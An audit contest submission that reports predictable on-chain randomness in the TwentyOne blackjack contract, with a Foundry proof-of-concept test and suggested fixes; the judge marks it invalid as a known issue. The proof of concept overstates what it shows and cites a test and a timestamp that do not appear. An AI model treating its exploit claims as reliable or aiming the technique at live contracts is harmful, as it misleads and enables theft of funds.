TwentyOne

First Flight #29
Beginner FriendlyGameFiFoundrySolidity
100 EXP
View results
Submission Details
Severity: low
Invalid

MEV Exploitation in TwentyOne.sol

Summary

The TwentyOne smart contract contains critical vulnerabilities in its randomness implementation, allowing miners/validators to manipulate game outcomes through MEV (Miner Extractable Value) exploitation.

Vulnerability Details

The contract relies on block.timestamp, msg.sender, and block.prevrandao for randomness generation in two critical functions:

function drawCard(address player) internal returns (uint256) {
uint256 randomIndex = uint256(
keccak256(
abi.encodePacked(block.timestamp, msg.sender, block.prevrandao)
)
) % availableCards[player].length;
// ...
}
function call() public {
uint256 standThreshold = (uint256(
keccak256(
abi.encodePacked(block.timestamp, msg.sender, block.prevrandao)
)
) % 5) + 17;
// ...
}

These values are predictable and manipulatable by miners/validators.

Proof of Concept:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console2} from "forge-std/Test.sol";
import {TwentyOne} from "../src/TwentyOne.sol";
contract MEVExploitTest is Test {
TwentyOne public game;
address player = makeAddr("player");
uint256 constant STARTING_BALANCE = 10 ether;
function setUp() public {
game = new TwentyOne();
vm.deal(player, STARTING_BALANCE);
vm.deal(address(game), 10 ether);
}
function testPredictableDealer() public {
uint256 timestamp = 1700000000;
vm.warp(timestamp);
vm.prevrandao(bytes32(0));
uint256 playerBalanceBefore = address(player).balance;
vm.startPrank(player);
uint256 playerHand = game.startGame{value: 1 ether}();
game.call();
vm.stopPrank();
console2.log("Player hand:", playerHand);
console2.log("Balance before:", playerBalanceBefore);
console2.log("Balance after:", address(player).balance);
assertTrue(
address(player).balance > playerBalanceBefore,
"Player should win due to dealer bust"
);
}
}
forge test --match-test "testMEVExploit|testPredictableDealer" -vv

Proof of concept demonstrates:

Winning hand manipulation using timestamp 1700000002

Predictable dealer bust patterns

Consistent profit generation through MEV

Impact

Miners can simulate and choose profitable game outcomes

Players with MEV capabilities can manipulate dealer behavior

Front-running opportunities for guaranteed wins

Potential for systematic draining of contract funds

Tools Used

slither .

aderyn

manuel code review

Recommendations

Replace current randomness with Chainlink VRF:

bytes32 requestId = COORDINATOR.requestRandomWords(
keyHash,
subscriptionId,
requestConfirmations,
callbackGasLimit,
numWords
);

Implement commit-reveal scheme:

// Commit phase
function commitMove(bytes32 commitment) external {
commitments[msg.sender] = commitment;
commitmentTimestamps[msg.sender] = block.timestamp;
}
// Reveal phase
function revealMove(bytes32 seed) external {
require(keccak256(abi.encodePacked(seed)) == commitments[msg.sender]);
require(block.timestamp <= commitmentTimestamps[msg.sender] + REVEAL_WINDOW);
// Use seed for randomness
}

Use time-delayed randomness:

  • Separate game initiation and outcome determination

  • Use future block hashes as entropy source

  • Implement minimum waiting period

Updates

Lead Judging Commences

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

[INVALID] Known - Randomness

Randomness Manipulation: The randomness mechanism relies on block.timestamp, msg.sender, and block.prevrandao, which may be predictable in certain scenarios. Consider using Chainlink VRF or another oracle for more secure randomness.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.